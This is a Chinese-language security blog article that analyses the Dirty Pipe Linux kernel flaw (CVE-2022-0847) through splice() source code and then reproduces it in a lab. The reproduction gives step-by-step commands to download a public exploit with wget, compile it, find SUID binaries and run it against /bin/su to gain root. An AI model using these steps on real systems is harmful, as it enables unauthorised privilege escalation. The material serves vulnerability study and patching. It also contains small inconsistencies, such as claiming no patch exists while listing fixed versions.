CVE-2022-0847_DirtyPipe Linux 內核提權漏洞分析及復現
前言
由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,文章作者不為此承擔任何責任。
如果文章中的漏洞出現敏感內容產生了部分影響,請及時聯系作者,望諒解。
一、漏洞原理
漏洞簡述
本次研究漏洞為 CVE-2022-0847,該漏洞是由于其允許覆蓋任意只讀文件中的數據,非特權進程可以將代碼注入根進程導致權限提升。
該漏洞類似于CVE-2016-5195"Dirty Cow",但更容易利用。
此漏洞已在 Linux 5.16.11、5.15.25 和 5.10.102 中修復。
漏洞分析
漏洞起源
起源是在損壞文件支持票據研究中發現該漏洞。
通過比對正常文件與損壞文件的差異發現內核層面的問題。
以CM4all托管環境下日志服務器中一個日常文件為例
正常文件結尾情況:
000005f0 81 d6 94 39 8a 05 b0 ed e9 c0 fd 07 00 00 ff ff00000600 03 00 9c 12 0b f5 f7 4a 00 00
相同文件但已損壞:
000005f0 81 d6 94 39 8a 05 b0 ed e9 c0 fd 07 00 00 ff ff00000600 03 00 50 4b 01 02 1e 03 14 00
可以看到核心在后面8個字節。
50 4b 01 02 1e 03 14 00
其中
- 50 4b為"P"和"K"的ASCII。"PK",為所有ZIP標頭的開始方式。
- 01 02是中央目錄文件頭的代碼。
- 1e 03 14 00 為
- “Version made by” = ; = 30 (3.0); = UNIX 1e 03 0x1e0x03
- “Version needed to extract” = ; = 20 (2.0) 14 00 0x0014
首先缺少其余部分,頭部在8個字節后截斷。
直到進行代碼審計,根據Web服務的邏輯,排查到splice()write()50 4b 01 02 1e 03 14 00為問題核心。
之后根據C程序破解分析到:
一個不斷將字符串"AAAAA"的奇數塊寫入文件(模擬日志拆分器):
#include int main(int argc, char **argv) {for (;;) write(1, "AAAAA", 5);}// ./writer >foo
以及一個不斷將數據從該文件傳輸到管道,然后將字符串"BBBBB"寫入管道(模擬ZIP生成器):):splice()
#define _GNU_SOURCE#include #include int main(int argc, char **argv) {for (;;) {splice(0, 0, 1, 0, 2, 0);write(1, "BBBBB", 5);}}// ./splicer /dev/null
將這兩個程序復制到日志服務器,沒有人將此字符串寫入文件(僅由沒有寫入權限的進程寫入管道)的情況下,仍然字符串"BBBBB"開始出現在文件中。
總的來說,該漏洞體現于重新構造管道緩沖區代碼進行匿名化,改變了管道的可合并檢查方式。
splice 系統調用 詳盡分析
splice() 系統調用避免在內核地址空間與用戶地址空間的拷貝,從而快速地在兩個文件描述符之間傳遞數據。函數原型為:
#define _GNU_SOURCE#include ssize_t splice(int fd_in, off64_t *off_in, int fd_out, off64_t *off_out, size_t len, unsigned int flags);
此次漏洞使用的情況是從文件向管道傳遞數據,因此 fd_in 指代一個普通文件,off_in 表示從指定的文件偏移處開始讀取,fd_out 指代一個 pipe,len 表示要傳輸的數據長度,flags 表示標志位。詳細情況可以參考手冊。
看看 splice() 系統調用的主要流程。系統調用的定義在 fs/splice.c 文件中,主要工作由 __do_splice() 函數完成。
__do_splice() 在做完簡單的參數檢查之后,又調用 do_splice() 函數實現主要工作。
do_splice() 中,會根據兩個文件描述符的類型進入不同的分支。當前情況下,fd_out 指代一個 pipe,因此會進入 if (opipe) 這個分支。主要工作通過 do_splice_to() 函數完成。
/* * Determine where to splice to/from. */long do_splice(struct file *in, loff_t *off_in, struct file *out, loff_t *off_out, size_t len, unsigned int flags){ struct pipe_inode_info *ipipe; struct pipe_inode_info *opipe; loff_t offset; long ret;
// 判斷兩個文件描述符的打開模式是否符合條件 if (unlikely(!(in->f_mode & FMODE_READ) || !(out->f_mode & FMODE_WRITE))) return -EBADF;
ipipe = get_pipe_info(in, true); opipe = get_pipe_info(out, true);
// 當 in 和 out 都是 pipe 的情況 if (ipipe && opipe) { if (off_in || off_out) return -ESPIPE;
/* Splicing to self would be fun, but... */ if (ipipe == opipe) return -EINVAL;
if ((in->f_flags | out->f_flags) & O_NONBLOCK) flags |= SPLICE_F_NONBLOCK;
return splice_pipe_to_pipe(ipipe, opipe, len, flags); }
// 當 in 是 pipe 的情況 if (ipipe) { ...... }
// 當 out 是 pipe 的情況 if (opipe) { // 不能為 pipe 設置偏移量 if (off_out) return -ESPIPE; if (off_in) { if (!(in->f_mode & FMODE_PREAD)) return -EINVAL; offset = *off_in; } else { offset = in->f_pos; }
if (out->f_flags & O_NONBLOCK) flags |= SPLICE_F_NONBLOCK;
// 獲取 pipe 的鎖 pipe_lock(opipe); // 等待 pipe 有可使用的緩沖區 ret = wait_for_space(opipe, flags); if (!ret) { unsigned int p_space;
// 計算能夠讀取的文件長度,不應該超過 pipe 剩余的緩沖區大小 /* Don't try to read more the pipe has space for. */ p_space = opipe->max_usage - pipe_occupancy(opipe->head, opipe->tail); len = min_t(size_t, len, p_space << PAGE_SHIFT);
// 調用 do_splice_to() 實現主要工作 ret = do_splice_to(in, &offset, opipe, len, flags); } // 釋放 pipe 的鎖 pipe_unlock(opipe); if (ret > 0) // 喚醒 pipe 的讀者等待隊列中的進程 wakeup_pipe_readers(opipe); if (!off_in) in->f_pos = offset; else *off_in = offset;
return ret; }
return -EINVAL;}
do_splice_to()
在 do_splice_to() 中,主要功能是通過輸入文件的 splice_read() 方法實現的。這里以 ext4 文件系統為例,在 fs/ext4/file.c 文件中查看 ext4_file_operations 變量可知,ext4 文件系統中,splice_read 使用的是定義在 fs/splice.c 中的 generic_file_splice_read() 方法。接著通過調試可知接下來的函數調用鏈:
generic_file_splice_read() -> call_read_iter() -> generic_file_buffered_read() -> copy_page_to_iter() -> copy_page_to_iter_pipe()
call_read_iter() 是一個定義在 include/linux/fs.h 中的內聯函數,實際調用的是輸入文件的 read_iter() 方法。而 ext4 文件系統的 read_iter() 方法是 ext4_file_read_iter()。在當前情況下,會調用 generic_file_rad_iter(),其接著調用 generic_file_buffered_read()。
copy_page_to_iter_pipe()
generic_file_buffered_read() 是通用的文件讀取例程,將文件讀取到 page cache 后會通過 copy_page_to_iter() 函數將文件對應的 page cache 與 pipe 的緩沖區關聯起來。實際的關聯操作通過定義在 /lib/iov_iter.c 中的 copy_page_to_iter_pipe() 實現:
/* * page 是文件對應的內存頁幀,pipe 實例被包裹在 struct iov_iter 實例中*/static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes, struct iov_iter *i){ struct pipe_inode_info *pipe = i->pipe; struct pipe_buffer *buf; unsigned int p_tail = pipe->tail; unsigned int p_mask = pipe->ring_size - 1; unsigned int i_head = i->head; size_t off;
if (unlikely(bytes > i->count)) bytes = i->count;
if (unlikely(!bytes)) return 0;
if (!sanity(i)) return 0;
off = i->iov_offset; buf = &pipe->bufs[i_head & p_mask]; if (off) { if (offset == off && buf->page == page) { /* merge with the last one */ buf->len += bytes; i->iov_offset += bytes; goto out; } i_head++; buf = &pipe->bufs[i_head & p_mask]; } if (pipe_full(i_head, p_tail, pipe->max_usage)) return 0;
buf->ops = &page_cache_pipe_buf_ops; // 增加 page 實例的引用計數 get_page(page); // 將 pipe 緩沖區的 page 指針指向文件的 page buf->page = page; buf->offset = offset; buf->len = bytes;
pipe->head = i_head + 1; i->iov_offset = offset + bytes; i->head = i_head;out: i->count -= bytes; return bytes;}
二、漏洞復現實戰
漏洞檢測
受漏洞影響Linux版本范圍為 5.8 <= Linux 內核版本 < 5.16.11 / 5.15.25 / 5.10.102。
可以通過uname -r命令查看版本信息,判斷是否可利用。

圖1 漏洞檢測
環境搭建
該漏洞需要以下環境:
Ubuntu 16.04 或 18.04
Python >= 3.6
pip3
確保具備之后,我們通過云原生攻防靶場Metarget部署漏洞環境。
命令如下:
git clone https://github.com/brant-ruan/metarget.gitcd metarget/pip3 install -r requirements.txtsudo ./metarget cnv install cve-2022-0847
搭建好之后再用uname -r命令查看當前系統內核。
如果符合版本范圍,即可能受該漏洞影響。
漏洞復現
我們采用Haxxin師傅的POC(dirtypipez.c)進行復現。
首先部署POC,通過以下命令:
mkdir dirtypipezcd dirtypipezwget https://haxx.in/files/dirtypipez.cgcc dirtypipez.c -o dirtypipez

圖2 部署POC
由于該POC需要事先找到一個具有 SUID 權限的可執行文件,然后利用這個文件進行提權。
我們先尋找該類文件,命令如下:
find / -perm -u=s -type f 2>/dev/null

圖3 尋找SUID文件
以 /bin/su 為例,使用./dirtypipez加上具有 SUID 權限的文件,進行提權
./dirtypipez /bin/su

圖4 提權利用
可以看到提權成功,由普通用戶權限至root權限。
漏洞修復
目前暫無補丁,更新升級 Linux 內核到以下安全版本
Linux 內核 >= 5.16.11
Linux 內核 >= 5.15.25
Linux 內核 >= 5.10.102
結束語
本文主要介紹了CVE-2022-0847漏洞 DirtyPipe Linux 內核提權漏洞的原理分析及復現過程,漏洞主要利用重新構造管道緩沖區代碼進行匿名化,最終其允許覆蓋任意只讀文件中的數據,非特權進程可以將代碼注入根進程導致權限提升。